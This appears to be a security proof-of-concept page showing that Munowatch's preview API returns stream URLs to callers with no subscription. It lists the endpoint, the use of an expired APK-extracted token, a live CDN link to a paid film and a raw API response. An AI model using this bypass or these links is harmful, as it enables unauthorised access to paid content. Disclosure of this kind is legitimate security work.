SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Reminiscence with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Reminiscence
Vj Kevin Sci FI 01h 50m 5 years ago

Nick Bannister, a private investigator of the mind, navigates the darkly alluring world of the past by helping his clients access lost memories. Living on the fringes of the sunken Miami coast, his life is forever changed as he uncovers a violent conspiracy while trying to solve the mystery behind a client who disappeared.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/18339/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 31
video_name Reminiscence.2021.1080.Kevin.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotek-vault.b-cdn.net/d06f6/171/Reminiscence.2021.1080.Kevin.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 18339,
    "video_title": "Reminiscence",
    "description": " Nick Bannister, a private investigator of the mind, navigates the darkly alluring world of the past by helping his clients access lost memories. Living on the fringes of the sunken Miami coast, his life is forever changed as he uncovers a violent conspiracy while trying to solve the mystery behind a client who disappeared.",
    "video_name": "Reminiscence.2021.1080.Kevin.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "31",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 50m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/129063218570.jpg",
    "tfilehistory": "",
    "category_id": 14,
    "language_id": 1,
    "recording_date": "2021-09-27",
    "age_id": "Tv G",
    "location": 1,
    "tab_category_id": 14,
    "series_code": "18339",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "890.06 MB",
    "create_date": "2021-09-27 14:02:00",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 16,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "No",
    "secduration": "6612.000000",
    "issubscriber": false,
    "genre": "Sci FI",
    "vjname": "Vj Kevin",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "5 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}